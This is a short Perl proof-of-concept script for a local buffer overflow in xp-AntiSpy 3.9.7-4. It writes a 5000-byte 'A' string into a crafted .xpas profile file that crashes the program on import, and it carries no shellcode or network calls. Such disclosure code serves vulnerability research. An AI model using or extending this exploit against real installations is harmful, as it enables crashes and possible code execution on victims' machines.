#!/usr/bin/perl

# xp-AntiSpy <= 3.9.7-4 Local (.XPAS File) Local Buffer Overflow PoC
# Bug found by Dr_IDE
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 09/11/09.

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

$buffer= "\x41" x 5000;

sub banner {
print ("\x78\x70\x2d\x41\x6e\x74\x69\x53\x70\x79\x20\x3c\x3d\x20\x33\x2e\x39\x2e\x37\x2d\x34\x20\x4c\x6f\x63\x61\x6c\x20\x28\x2e\x58\x50\x41\x53\x20\x46\x69\x6c\x65\x29\x20\x4c\x6f\x63\x61\x6c\x20\x42\x75\x66\x66\x65\x72\x20\x4f\x76\x65\x72\x66\x6c\x6f\x77\x20\x50\x6f\x43\n\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n\n");
}

{
banner();
open(FILE, ">xp-anti.xpas");
print FILE $buffer;
close(FILE); 
print("[+] Success. Import File and click File -> Evil Profile\n");
}